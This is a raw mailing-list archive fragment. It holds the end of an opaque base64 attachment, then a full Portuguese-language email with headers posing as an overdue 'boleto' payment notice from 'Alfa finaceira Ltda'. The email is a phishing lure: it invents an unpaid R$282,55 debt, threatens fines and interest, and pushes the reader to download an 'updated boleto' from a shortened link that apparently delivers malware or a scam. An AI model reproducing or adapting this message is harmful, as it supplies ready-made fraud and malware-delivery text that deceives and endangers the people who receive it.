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 mJ/3hLkBA6C+rl3/5MQ9ewBABwA= ------=_NextPart_000_015A_01CEBE43.90B7BD50-- From miguel@fiscomania.com.br Mon Sep 30 22:24:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 854DA7F50 for ; Mon, 30 Sep 2013 22:24:07 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 63C6A8F8035 for ; Mon, 30 Sep 2013 20:24:04 -0700 (PDT) X-ASG-Debug-ID: 1380597840-04cb6c2e9f15f92a0001-NocioJ Received: from mail.desbrava.com.br (mail.desbrava.com.br [200.215.67.23]) by cuda.sgi.com with ESMTP id oDIyTRdCQRc7PTl9 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 30 Sep 2013 20:24:01 -0700 (PDT) X-Barracuda-Envelope-From: miguel@fiscomania.com.br X-Barracuda-Apparent-Source-IP: 200.215.67.23 Received: from Usuario-PC ([177.201.82.239]) (authenticated bits=0) by mail.desbrava.com.br (8.13.8/8.13.8) with ESMTP id r912ufuJ021565 for ; Tue, 1 Oct 2013 00:23:54 -0300 From: "Alfa finaceira Ltda" Subject: Boleto de =?ISO-8859-1?B?Q29icmFu52E=?= Referente 875623 To: xfs@oss.sgi.com X-ASG-Orig-Subj: Boleto de =?ISO-8859-1?B?Q29icmFu52E=?= Referente 875623 Content-Type: multipart/alternative; boundary="----=_NextPart_777_4617_8726E706.D6667650" MIME-Version: 1.0 Date: Tue, 1 Oct 2013 00:23:57 -0300 Message-Id: <20131001002356918759A57C$0F5086328F@USUARIOPC> Status: N X-Desbrava-ID: r912ufuJ021565 X-Desbrava-VCheck: Not scanned: please contact Desbrava Internet for details X-Desbrava-Envelope-From: miguel@fiscomania.com.br X-Desbrava-Watermark: 1381029834.69195@fHLk9UbpeSb4pxOmHDXpcg X-Barracuda-Connect: mail.desbrava.com.br[200.215.67.23] X-Barracuda-Start-Time: 1380597841 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141074 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format ------=_NextPart_777_4617_8726E706.D6667650 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Boleto de Cobran=E7a Referente 875623 Caro(a) cliente Informo que a duplicata com vencimento em 28/05 no valor de R$282,55 n=E3= o foi pago. Estou enviando em anexo 2=AA via da duplicata atualizado para pagamento.= Conforme solicitado segue o anexo do BOLETO de cobran=E7a. Download boleto atualizado http://vaaa.fr/2a Aguardamos o pagamento do boleto. O n=E3o pagamento da anuidade nos praz= os estabelecidos acarretara multa e juros de mora de 0,3% (um por cento) ao m=EAs. Atenciosamente. Alessandra A. Cunha Setor Financeiro. Alfa finaceira Ltda CNPJ 61.198.164/0001-60 ------=_NextPart_777_4617_8726E706.D6667650 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Boleto de Cobran=E7a Ref= erente 875623
    Boleto de Cobran=E7a Referente 87562= 3

    Caro(a) cli= ente

    Infor=
    mo que a duplicata com vencimento em 28/05 no valor de R$282,55 n=E3o fo=
    i pago.
    Estou enviando em ane= xo 2=AA via da duplicata atualizado para pagamento.

     Conforme = solicitado segue o anexo do BOLETO de cobran=E7= a. 

     = <= FONT face=3D"Courier New">Download boleto atualizado  

    Aguardamos o pagamento= do boleto. O n=E3o pagamento da anuidade nos prazos estabelecidos
    acarretara multa e juros de mora d= e 0,3% (um por cento) ao m=EAs.


    Atenciosamente.
    Alessandra A. Cunha 
    Setor Financeiro.
    = Alfa finaceira Ltda
    CNPJ 61.198.164/0001-60

    ------=_NextPart_777_4617_8726E706.D6667650--